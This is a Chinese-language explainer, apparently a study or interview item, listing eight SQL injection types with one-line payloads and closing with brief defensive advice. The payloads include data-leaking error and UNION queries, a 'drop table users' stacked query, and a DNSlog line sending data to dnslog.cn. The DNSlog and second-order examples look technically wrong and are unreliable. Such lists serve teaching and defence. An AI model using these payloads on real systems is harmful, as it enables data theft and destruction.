常见的 SQL 注入漏洞有哪些?

列举了八种常见的 SQL 注入漏洞类型,并详细解释了每种类型的攻击方法和示例。

前端安全 困难 SQL注入 安全性 安全

常见的 SQL 注入漏洞是指攻击者通过恶意 SQL 代码嵌入用户输入字段中,滥用数据库操作逻辑的多种方式。基于注入原理、数据利用和页面响应的分类,主要类型包括以下几种:

1. 报错注入 (Error-Based Injection)

攻击者触发数据库错误,使内部信息泄露到页面。常用于有错误回显的场景,如使用 extractvalue()updatexml() 函数通过错误消息暴露数据库表数据:

' and extractvalue(1, concat(0x5c, (select user()))) -- 

2. 联合查询注入 (UNION-Based Injection)

通过插入 UNION SELECT 附加恶意查询,返回数据库完整信息集。需字段数目匹配和回显支持:

id=1' union select database(),user(),version() from information_schema.tables-- 

3. 布尔盲注 (Boolean-Based Blind Injection)

注入真假逻辑条件,观察页面行为差异(如内容显示或错误)来判断数据库信息,无直接数据反馈:

id=2 and substring((select database()),1,1)='D' -- 

4. 时间盲注 (Time-Based Blind Injection)

通过执行延迟操作(如 SLEEPBENCHMARK 函数)探测是否注入成功:

id=2 and if(ascii(substring(database(),1,1))>90,sleep(5),0)-- 

5. 堆叠查询注入 (Stacked Queries Injection)

在单一请求中执行多个独立 SQL 语句,需目标支持多语句(如 SQL Server):

' ;drop table users;--

6. 宽字节注入 (Wide-Character Injection)

利用字符集处理(如 GBK)导致过滤转义失效,从而绕过查询:

id=2 %df' union select 1,2-- 

7. 二次注入 (Second-Order Injection)

恶意数据先存入数据库,后在后续代码中作为参数提取而触发注入:

初次输入 user: 'admin'-- ; 次次查询时执行 SELECT * FROM users WHERE id='admin'-- --

8. DNSlog 外带数据注入 (DNSlog Injection)

通过构造域名记录外带数据,适用于数据库支持文件和 DNS 的场景:

concat(user(),'.a.dnslog.cn') INTO OUTFILE '/file' 

这些漏洞常见源于应用程序未过滤用户输入或使用字符串拼接 SQL,分类可基于类型、回显或请求方式深化,但上述代表现实中的高风险利用。防范建议包括实施参数化查询和输入验证等安全实践。